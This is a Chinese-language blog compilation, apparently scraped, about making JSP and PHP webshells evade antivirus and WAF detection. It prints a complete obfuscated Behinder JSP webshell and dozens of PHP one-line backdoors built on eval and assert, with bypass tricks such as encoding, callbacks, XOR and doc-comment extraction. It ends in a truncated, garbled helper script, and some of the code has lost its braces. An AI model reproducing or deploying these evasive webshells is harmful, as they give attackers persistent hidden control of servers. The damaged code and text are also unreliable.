Webshell免杀-JSP
Posted 小mos
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Webshell免杀-JSP相关的知识,希望对你有一定的参考价值。
前言
在很多渗透测试利用的过程中,渗透人员会通过上传webshell的方式来获取目标服务器的权限。然而及时webshell文件能够正常上传,后续有可能会被管理员当作木马文件删除,上传的过程中也会被安全设备拦截,因此对webshell文件进行免杀操作是不可或缺的。本处仅对jsp类型的webshell文件进行一个冰蝎马免杀思路的介绍。
思路
在对webshell文件进行免杀操作之前首先得明白,有哪些操作能够使得webshell文件具有免杀的属性。
1、增加注释
2、增加不重要的代码段
3、对代码进行混肴加密
4、对代码进行拆分重组
5、增加反射
……………………
免杀方式千千万,总有一款适合你。简而言之,搞到最后,自己都读不懂自己的代码的时候,恭喜你,免杀了!
本篇文章仅对冰蝎马的免杀方式做一个简单的介绍,主要是介绍免杀jsp马子时候的思路实现。
测试
首先看一个常规的jsp的冰蝎马的代码。
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoaderU(ClassLoader c)super(c);public Class g(byte []b)return super.defineClass(b,0,b.length);%><%if (request.getMethod().equals("POST"))String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
其在一行里面将整个代码都写了出来,那是相当的乱啊。不过,先看看他的免杀性如何?
对于这个结果也是意料之中,情理之中的了。
咱们先对冰蝎马进行一个格式化的操作,有便于去理解修改,顺手把里面的注释也给删掉。
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader
U(ClassLoader c)
super(c);
public Class g(byte []b)
return super.defineClass(b,0,b.length);
%>
<%if (request.getMethod().equals("POST"))
String k="e45e329feb5d925b";
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
%>
直观的看上去,哪儿最好搞捏?当然是k这里呀!
我们把k里面的数值用ascall码一个一个对照输出出来,虽然完成的结果是一样的,但是多少能够限制杀软理解马子的步伐的吧。
那么问题来了,“e45e329feb5d925b”的ascall值是多少?掰开对照表一个一个看?不可能,绝对不可能,能用代码解决的问题,绝对不可能动手!
这里是一个python的转换代码
s = 'e45e329feb5d925b'
a = []
for i in s:
a.append(ord(i))
print(a)
输出结果为
[101, 52, 53, 101, 51, 50, 57, 102, 101, 98, 53, 100, 57, 50, 53, 98]
那么现在就可以把k的部分改成
String k="";
int[] ee=new int[]101, 52, 53, 101, 51, 50, 57, 102, 101, 98, 53, 100, 57, 50, 53, 98
for (int i=0;i < ee.length;i++)
k=k+ (char) ee[i];
经过这样一个转换之后,k的值就会等于“e45e329feb5d925b“,那么这样就OK了嘛?NONONO!
既然都已经转换成ascall码了,那就再做个异或的操作吧。
python的异或代码
s = 'e45e329feb5d925b'
a = []
for i in s:
a.append(ord(i))
for i in range(0, len(a)):
a[i] = a[i] ^ 0x010
print(a)
输出结果为
[117, 36, 37, 117, 35, 34, 41, 118, 117, 114, 37, 116, 41, 34, 37, 114]
那么现在就可以把k的部分改成
String k="";
int[] ee=new int[]117, 36, 37, 117, 35, 34, 41, 118, 117, 114, 37, 116, 41, 34, 37, 114
for (int i=0;i < ee.length;i++)
ee[i]=ee[i] ^ 0x010;
k=k+ (char) ee[i];
这么一通操作下来,你以为就能免杀了嘛?免杀哪有那么轻松。
不过可以祭出终极杀招,百试百灵---加注释。
这个加注释可不是加一条两条就可以的,也不是随便加都行的。经过测试,必须加在标点符号之后,于是乎在所有.和,之间都加上注释,代码变成了
<%@page import="java./*YDjdiejmPL*/util./*YDjdiejmPL*/*,/*ksafjKJOIldk*/javax./*YDjdiejmPL*/crypto./*YDjdiejmPL*/*,/*ksafjKJOIldk*/javax./*YDjdiejmPL*/crypto./*YDjdiejmPL*/spec./*YDjdiejmPL*/*"%>
<%!class U extends ClassLoader
U(ClassLoader c)
super(c);
public Class g(byte []b)
return super./*YDjdiejmPL*/defineClass(b,/*ksafjKJOIldk*/0,/*ksafjKJOIldk*/b./*YDjdiejmPL*/length);
%>
<%if (request./*YDjdiejmPL*/getMethod()./*YDjdiejmPL*/equals("POST"))
String k="";
int[] ee=new int[]117,/*ksafjKJOIldk*/ 36,/*ksafjKJOIldk*/ 37,/*ksafjKJOIldk*/ 117,/*ksafjKJOIldk*/ 35,/*ksafjKJOIldk*/ 34,/*ksafjKJOIldk*/ 41,/*ksafjKJOIldk*/ 118,/*ksafjKJOIldk*/ 117,/*ksafjKJOIldk*/ 114,/*ksafjKJOIldk*/ 37,/*ksafjKJOIldk*/ 116,/*ksafjKJOIldk*/ 41,/*ksafjKJOIldk*/ 34,/*ksafjKJOIldk*/ 37,/*ksafjKJOIldk*/ 114
for (int i=0;i < ee./*YDjdiejmPL*/length;i++)
ee[i]=ee[i] ^ 0x010;
k=k+ (char) ee[i];
session./*YDjdiejmPL*/putValue("u",/*ksafjKJOIldk*/k);
Cipher c=Cipher./*YDjdiejmPL*/getInstance("AES");
c./*YDjdiejmPL*/init(2,/*ksafjKJOIldk*/new SecretKeySpec(k./*YDjdiejmPL*/getBytes(),/*ksafjKJOIldk*/"AES"));
new U(this./*YDjdiejmPL*/getClass()./*YDjdiejmPL*/getClassLoader())./*YDjdiejmPL*/g(c./*YDjdiejmPL*/doFinal(new sun./*YDjdiejmPL*/misc./*YDjdiejmPL*/BASE64Decoder()./*YDjdiejmPL*/decodeBuffer(request./*YDjdiejmPL*/getReader()./*YDjdiejmPL*/readLine())))./*YDjdiejmPL*/newInstance()./*YDjdiejmPL*/equals(pageContext);
%>
现在再看看捏?
没有一丝丝的防备~!就免杀了。
附一张之前跑的沙箱结果
jsp的免杀里面还可以加上反射,然后再加上异或之类的操作就更好了。不过弟弟反射没学好,这边就不献丑了。
END
webshell免杀的一些学习和思考——以PHP为例
前言
凡是使用webshell时,免杀都是需要考虑的事情,说白了就是我的webshell得能用啊!故本篇做一个webshell免杀的学习,主要是php的一句话
一、关于webshell
所谓webshell,就是向服务器端发送恶意代码写成的文件(即:shell),客户端通过远程连接,利用shell连接到服务器,并可对服务器进行操作。所以其实是两步:
- 数据的传递
- 执行所传递的数据
1、数据传递
(1)HTTP请求中获取数据
$_GET
、$_POST
、$_COOKIES
、$_FILE
…
HTTP包中的任何位置都可以作为payload的传输媒介
(2)从远程URL中获取数据
file_get_contents
、curl
、svn_checkout
…
将需要执行的指令数据放在远程URL中,通过URL_INCLUDE来读取
(3)从磁盘文件中获取数据
file
、file_get_contents
…
将需要执行的指令数据放在磁盘文件中,利用IO函数来读取
(4)从数据库中读取
将需要执行的指令放在数据库中,利用数据库函数来读取
(5)从图片头部中获取
exif_read_data
…
将需要执行的指令数据放在图片头部中,利用图片操作函数来读取
2、代码执行
(1)常用命令执行函数
eval
、system
、assert
、exec
、shell_exec
…
最普通、标准的代码执行
(2)LFI
include
、require
…
利用浏览器的伪协议将文件包含转化为代码执行
(3)动态函数执行
$()
…
PHP的动态函数特性
(4)Curly Syntax
$$…
…
这种思路可以把变量赋值的漏洞转化为代码执行的机会
3、PHP一句话
最常见的就是eval和assert:
- eval:PHP 4, PHP 5, PHP 7+ 均可用,接受一个参数,将字符串作为PHP代码执行(必须符合PHP代码要求)
- assert:PHP 4, PHP 5, PHP 7.2 以下均可用,一般接受一个参数,php 5.4.8版本后可以接受两个参数。php5中assert是一个函数,我们可以通过
$f='assert';$f(...);
这样的方法来动态执行任意代码;php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码
<?php eval(@$_POST['a']); ?>
<?php assert(@$_POST['a']); ?>
一些常见方法:
- 命令执行类:通过eval、assert、system、create_function等函数来执行命令
- 动态构造类:在php支持的动态构造函数中调用执行命令
- preg类:正则系列函数可以使用/e模式正则来执行命令
- 回调函数类:利用回调函数构造的Webshell,覆盖所有的callable类型参数
- 反射函数类:利用ReflectionFunction等类,以及对应的invoke等方法执行命令
二、关于WAF
要免杀,当然得先了解是谁在杀,主要是D盾、安全狗,护卫神等,其他还有杀毒软件如火绒、360
其检测思路大概有:
- 分析统计内容:可以结合黑名单或者其他特征列表,例如代码片段的hash特征列表。之后通过对文件信息熵、元字符、特殊字符串频率等统计方式发现WebShell
- 语义分析:把代码转换成AST语法树,之后可以对一些函数进行调试追踪,那些混淆或者变形过的webshell基本都能被检测到。代码审计常常会使用这种方法
- 机器学习:这种方法需要大量的样本数据,通过一些学习模型,总结归类webshell的特征库,最终去检测webshell
- 动态监控:采用RASP方式,这里就是一但检测到有脚本运行起来了就去监控里边或者叫hook一些危险函数,一但存在调用过程将会立刻阻止。这种阻止效果是实时的,这种方法应该是效果最好的,但是成本也十分的高昂。
1、基于流量和字符特征的检测
既然是字符特征,首先就是对于一些危险函数(上面提到的那些)的检测:
- system :
system()
函数将命令作为参数,并输出结果 - exec :
exec()
功能是将命令作为参数,但不输出结果。如果指定了第二个可选参数,则返回结果为数组。否则,如果回显,只显示结果的最后一行 - shell_exec :
shell_exec()
函数类似于exec()
,但是,其整个输出结果为字符串 - passthru :
passthru()
执行一个命令并返回原始格式的输出 - proc_open :
proc_open()
函数可能很难理解。简单地说,我们可以使用proc_open()
,创建一个处理程序(流程),实现脚本和要运行的程序之间的通信 - 倒引号 : 很多PHP开发人员并没有意识到这一点,但是PHP会首先执行shell命令中倒引号内的内容
- 还有
popen
,curl_exec
,curl_multi_exec
,parse_ini_file
,show_source
等
然后是在返回包中检测特殊字符:root
或者是其他一些敏感字符串passwd
等等
2、基于文件特征
主要基于HASH的匹配,取决于样本的捕捉能力及形成特征列表的数量,还是会出现漏报问题。
这里会对上传上来的文件进行分片处理,之后会对每一个片段进行hash计算,在得到所有片段的hash值后会和之前有的特征列表库进行对比。如果符合某个相似度的要求就认为该文件为webshell。
3、基于AST语义分析
为了弥补统计特征的不足,进一步深化,进行语法检测,关注于每个函数和参数,这种方式精确,误报较少。但是对于PHP这种动态特性很多的语言,检测就比较吃力,AST是无法了解语义的。
其实这一部分有点类似于代码审计,核心问题就是找到那些可疑的函数。有经验的安全人员可能脑海里就有一个表,这个表里放满了各种函数,有点类似于黑名单。在找到函数调用的代码时,如果发现函数名在黑名单中,就认为这是一个“敏感”函数,再执行后续判断;如果函数名不在黑名单中,那么后续的判断也就不用继续了。但是这个名单必须得大而全,而且得考虑很多特殊情况。
4、动/静态符号执行
实际是就是去发现没有过滤或者过滤不完全的可控变量,一但存在用户可以控制的代码逻辑,那么危险系数就很高了。
5、机器学习
这个需要大量的webshell样本训练,目前来看效果可能还是不太好。而有些算法可解释性比较差,不利于运营。而且存在大量误报的可能。
6、终极检测引擎Rasp
在2014年的时候,Gartner引入了“Runtime application self-protection”一词,简称为RASP。它是一种新型应用安全保护技术,它将保护程序像疫苗一样注入到应用程序中,应用程序融为一体,能实时检测和阻断安全攻击,使应用程序具备自我保护能力,当应用程序遭受到实际攻击伤害,就可以自动对其进行防御,而不需要进行人工干预。
RASP技术可以快速的将安全防御功能整合到正在运行的应用程序中,它拦截从应用程序到系统的所有调用,确保它们是安全的,并直接在应用程序内验证数据请求。Web和非Web应用程序都可以通过RASP进行保护。该技术不会影响应用程序的设计,因为RASP的检测和保护功能是在应用程序运行的系统上运行的。
三、免杀思路
下面是一些免杀的思路,但实际需要多种思路结合,办法总比困难多
1、字符串变换
将关键词进行拼接转换等,来绕过对关键词的检测
一些可用的方法有:
ucwords() //函数把字符串中每个单词的首字符转换为大写。
ucfirst() //函数把字符串中的首字符转换为大写。
trim() //函数从字符串的两端删除空白字符和其他预定义字符。
substr_replace() //函数把字符串的一部分替换为另一个字符串
substr() //函数返回字符串的一部分。
strtr() //函数转换字符串中特定的字符。
strtoupper() //函数把字符串转换为大写。
strtolower() //函数把字符串转换为小写。
strtok() //函数把字符串分割为更小的字符串
str_rot13() //函数对字符串执行 ROT13 编码。
由于eval是语言构造器而不是函数,所以不能被可变函数调用,一般会通过拼接assert来执行;又由于assert在php7.1之后无法这样使用,所以此类免杀方式基本仅能在php5环境下使用
几个例子:
<?php
$a="a";
$b="sse";
$c="00";
$d= substr_replace($a.$b.$c,"rt",4);
$d($_POST['a'];
?>
<?php
$a = substr_replace("xxser","asser",-3);
$aa = array('',$a);
$b = $aa[1].chr('116');
$fun=preg_replace("/xx/","",$b);
$cc = substr_replace("",$fun,0);
$cc($_POST['x']);
?>
2、编码绕过
编码也是一种替换敏感字段的方式,一般用到base64、ascii等各种方式
-
ascii
<?php $a = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);#assert $a($_POST['a']; ?>
-
base64
<?php $a = base64_decode("YX__Nz_ZX____J0"); $a($_POST[x]); ?>
但是常见的编码和加密都被放入名单了,所以可以考虑base32、base58 这类的base编码全家桶,或者自定义ascii移位,甚至是对称加密算法
3、自定义函数
在一个自定义函数中执行assert、eval等,或在函数中进行输入传入$_POST
、$_GET
等
但这种方法效果不佳,可以和别的结合
举个例子:
<?php
function zeo($b)
return $b;
function ass($a)
return eval($a);
function post()
return $_POST['x'];
function run()
return zeo(ass)(zeo(post)());
zeo(ass)(zeo(post)());
?>
4、回调函数
回调函数大概有以下这些,大部分都已经被拉黑了。。。单独用都得死:
call_user_func_array()
call_user_func()
array_filter()
array_walk()
array_map()
array_reduce()
array_walk()
array_walk_recursive()
filter_var()
filter_var_array()
uasort()
uksort()
registregister_shutdown_function()
register_tick_function()
forward_static_call_array(assert,array($_POST[x]));
举几个例子(只是示例,基本都被拉黑了):
-
array_map
<?php function username() $a = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);#assert return ''.$a; $user = username(); $pass =array($_GET['password']); array_map($user,$user = $pass ); ?>
-
call_user_func_array
<?php $a = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6); call_user_func_array($a, array($_GET['a'])); ?>
-
定义个函数加个简单的拼接
<?php function zeo($c,$d) pj()($c,$d); function pj() return "register_shut"."down_function"; $b=$_POST['x']; zeo(assert,$b); ?>
5、数组
将执行代码放在数组中,配合其他绕过手段就仍然有效
举几个例子:
- 一维
<?php $a = substr_replace("asse00","rt",4); $b=array($array=array(''=>$a($_GET['x']))); var_dump($b); ?>
- 二维
<?php $b = substr_replace("assexx","rt",4); $a = array($arrayName = ($arrayName =($arrayName = array('a' => $b($_POST['x']))))); ?>
6、可变变量
可变变量是指一个普通变量的值可以作为另一个变量的名称被使用,如下:
$a = 'hello';
$$a = 'world';
echo $hello;
# 输出就是world
- 第一行是一个普通的变量定义,变量名称为a,变量值为hello
- 第二行使用变量a的值,定义了一个变量,这个变量的名字叫做hello(也就是a的值),值为world
- 将这个变量输出之后的结果是:world
举个例子:
<?php
$zeo='dalao';
$$zeo=$_POST['x'];
eval($dalao);
?>
7、类
这个好像很火,主要是魔术方法
举几个例子:
<?php
class Student
public $_1='';
function __destruct()
assert("$this->a");
$_2 = new Student;
$_2->$_1 = $_POST['a'];
?>
<?php
class zeo2
public $b ='';
function post()
return $_POST['x'];
class zeo extends zeo2
public $code=null;
function __construct()
$code=parent::post();
assert($code);
$blll = new zeo;
$bzzz = new zeo2;
?>
8、特殊字符干扰
主要是能干扰到杀软的正则判断,还要代码能执行。可以自己fuzz,大概就是说各种回车、换行、null和空白字符等
举个例子:
<?php
$zeo='dalao';
$$zeo=$_POST['x'];
eval(``.$dalao);
?>
9、注释获取
ReflectionClass::getDocComment
可以获取文档注释
某些安全软件会忽略注释中的代码,所以这种方式是将恶意代码写入注释中,再通过ReflectionClass的getDocComment方法将其提取出来执行,但是非注释内容中也会存在eval或assert,可能会被报低级别可疑
举个例子:
<?php
/**
* assert($_GET[1+0]);
*/
class User
$user = new ReflectionClass('User');
$comment = $user->getDocComment();
$d = substr($comment , 14 , 20);
assert($d);
?>
10、无字母
用各种运算,例如异或,拼装出来想要的函数,最后能构造出a-z中任意一个字符。然后再利用PHP允许动态函数执行的特点,拼接处一个函数名,如“assert”,然后动态执行之即可
举个例子:
<?php
@$_++;
$__ = ("`" ^ "?") . (":" ^ "") . ("%" ^ "`") . ("" ^ "/");
$___ = ("$" ^ "") . ("~" ^ ".") . ("/" ^ "`") . ("-" ^ "~") . ("(" ^ "|");
('%05'^'`')
# “^”为异或运算符,在PHP中,两个变量进行异或时,会将字符串转换成二进制再进行异或运算,异或运算完,又将结果从二进制转换成了字符串。
$$__[!$_]($$___[$_]);
?>
国光师傅写了个脚本:
import string
from urllib.parse import quote
keys = list(range(65)) + list(range(91,97)) + list(range(123,127))
results = []
for i in keys:
for j in keys:
asscii_number = i^j
if (asscii_number >= 65 and asscii_number <= 90) or (asscii_number >= 97 and asscii_number <= 122):
if i < 32 and j < 32:
temp = (f'chr(asscii_number) = ascii:i ^ asciij = quote(chr(i)) ^ quote(chr(j))', chr(asscii_number))
results.append(temp)
elif i < 32 and j >=32:
temp = (f'chr(asscii_number) = ascii:i ^ chr(j) = quote(chr(i)) ^ quote(chr(j))', chr(asscii_number))
results.append(temp)
elif i >= 32 and j < 32:
temp = (f'chr(asscii_number) = chr(i) ^ asciij = quote(chr(i)) ^ quote([9期]软WAF上传绕过+webshell免杀